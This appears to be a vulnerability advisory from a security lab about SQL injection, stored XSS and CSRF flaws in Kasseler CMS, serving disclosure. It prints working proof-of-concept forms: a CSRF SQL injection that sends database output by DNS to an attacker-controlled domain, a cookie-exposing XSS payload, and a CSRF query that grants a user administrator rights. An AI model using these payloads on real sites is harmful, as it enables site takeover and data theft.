High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Kasseler CMS, which can be exploited to perform SQL injection, Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks and compromise vulnerable application.
This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in administrator to visit a webpage with CSRF exploit.
Basic CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows platform. It will send a DNS request demanding IP addess for version()
(or any other sensetive output from the database) subdomain of β.attacker.comβ (a domain name, DNS server of which is controlled by the attacker):
<form action=βhttp://[host]/admin.php?module=sendmail&do=send " method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βtitleβ value=β1β>
<input type=βhiddenβ name=βmessageβ value=β1β>
<input type=βhiddenβ name=βattache_pageβ value=β1β>
<input type=βhiddenβ name=βgroups[]β value=β123) OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) β β>
<input type=βhiddenβ name=ββ value=ββ>
<input type=βhiddenβ name=β" value=ββ>
<input type=βsubmitβ id=βbtnβ>
</form>
<script>
document.main.submit();
</script>
Stored Cross-Site Scripting (XSS) in Kasseler CMS: CVE-2013-3728
The vulnerability exists due to insufficient filtration of βcatβ HTTP POST parameter passed to β/admin.phpβ script. A remote attacker with privileges to create categories can permanently inject arbitrary HTML and script code into application database that will be executed in browser of every website visitor.
The following PoC code displays userβs cookies using JavaScript βalert()β function:
<form action=βhttp://[host]/admin.php?module=forum&do=admin_new_category " method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βcatβ value=β<script>alert(document.cookie);</script>">
<input type=βsubmitβ id=βbtnβ>
</form>
<script>
document.main.submit();
</script>
Π‘ross-Site Request Forgery (CSRF) in Kasseler CMS: CVE-2013-3729
The vulnerability exists due to absence of CSRF protection mechanisms in the entire application. A remote attacker can trick logged-in administrator to visit a specially crafted webpage with CSRF exploit code. This will enable the attacker to execute arbitrary SQL queries in applicationβs database and gain complete control over the application.
The following CSRF exploit code will grant administrative privileges to user with ID=2:
<form action="http://[host]/admin.php?module=database&do=sql_query " method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βqueryβ value=βUPDATE kasseler
.kasseler_users
SET user_level
= β2β, user_group
= β1β WHERE kasseler_users
.uid
=2 LIMIT 1 ;β>
<input type=βsubmitβ id=βbtnβ>
</form>
<script>
document.main.submit();
</script>
Registration is open by default, and the attacker can easily get his user ID user from the profile page:
http://[host]/index.php?module=account&do=user&id=2
CPE | Name | Operator | Version |
---|---|---|---|
kasseler cms | le | 2 |